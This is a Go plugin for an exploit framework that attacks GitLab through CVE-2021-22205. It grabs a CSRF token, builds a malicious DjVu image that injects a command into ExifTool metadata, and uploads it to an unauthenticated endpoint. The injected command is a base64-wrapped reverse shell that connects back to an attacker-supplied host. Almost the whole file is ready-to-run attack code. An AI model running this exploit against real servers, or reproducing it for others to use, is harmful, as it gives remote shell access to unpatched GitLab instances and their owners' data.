CVE-2021-22205

package CVE_2021_22205

import (
    "bytes"
    "context"
    "encoding/base64"
    "encoding/binary"
    "expgo/plugins/api/req"
    "expgo/plugins/api/types"
    "expgo/plugins/api/util"
    "fmt"
    "net"
    "net/url"
    "regexp"
    "time"

    "log"
)


var (
    pluginType = "custom"
    vulType = "reverse-shell"
    name = "CVE-2021-22205"
    component = "gitlab"
    author = "akkuman"
    description = "在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令"
    references = []string {
        "https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/README.zh-cn.md",
    }
    tags = []string {
        "gitlab",
        "rce",
    }
)

var opts = types.NewOptions()

func init() {
    opts.String("target", true, "目标", "", func(i interface{}) bool {
        target := i.(string)
        _, err := url.Parse(target)
        return err == nil
    })
    opts.String("rshell", true, "反弹shell地址", "", func(i interface{}) bool {
        rshell := i.(string)
        _, err := net.ResolveTCPAddr("tcp", rshell)
        return err == nil
    })
}

func getCSRFToken(c *req.Client, target string) (string, error) {
    pattern := regexp.MustCompile(`csrf-token" content="(.*?)" \/>`)
    resp, err := c.R().
        SetHeader("Origin", target).
        Get(util.URLJoin(target, "/users/sign_in"))
    if err != nil {
        return "", err
    }
    if resp.StatusCode() != 200 {
        return "", fmt.Errorf("状态码不匹配")
    }
    matches := pattern.FindStringSubmatch(resp.String())
    if len(matches) < 2 {
        return "", fmt.Errorf("csrf token 未找到")
    }
    return matches[1], nil
}

func calc(cmd string, offset int) []byte {
    l := len(cmd)+offset
    d := make([]byte, 4)
    binary.BigEndian.PutUint32(d, uint32(l))
    return d
}

func getPayload(cmd string) []byte {
    payload := "\x41\x54\x26\x54\x46\x4f\x52\x4d"
    payload += string(calc(cmd, 0x55))
    payload += "\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61"
    payload += string(calc(cmd, 0x2f))
    payload += "\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b"
    payload += cmd
    payload += "\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a"
    return []byte(payload)
}

func exploit(ctx context.Context, params map[string]interface{}) (types.PluginResult) {
    c := req.NewHttpClient(ctx)
    target := params["target"].(string)
    rshellAddr, _ := net.ResolveTCPAddr("tcp", params["rshell"].(string))
    log.Println("准备获取csrf token")
    token, err := getCSRFToken(c, target)
    if err != nil {
        log.Println(err)
        return types.MissPluginResult
    }
    log.Println("准备反弹shell...")
    cmd := fmt.Sprintf(`sh -i >& /dev/tcp/%s/%d 0>&1`, rshellAddr.IP, rshellAddr.Port)
    cmd = fmt.Sprintf(`bash -c '{echo,%s}|{base64,-d}|{bash,-i}'`, base64.StdEncoding.EncodeToString([]byte(cmd)))
    payload := getPayload(cmd)
    reqCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()
    resp, err := c.R().
        SetContext(reqCtx).
        SetHeader("X-CSRF-Token", token).
        SetMultipartField("file", "test.jpg", "image/jpeg", bytes.NewReader(payload)).
        Post(util.URLJoin(target, "/uploads/user"))
    if reqCtx.Err() != nil {
        log.Println("反弹shell成功")
        return types.HitPluginResult
    }
    if err != nil {
        log.Println(err)
        return types.MissPluginResult
    }
    log.Println(resp.String())
    return types.HitPluginResult
}
回到页面顶部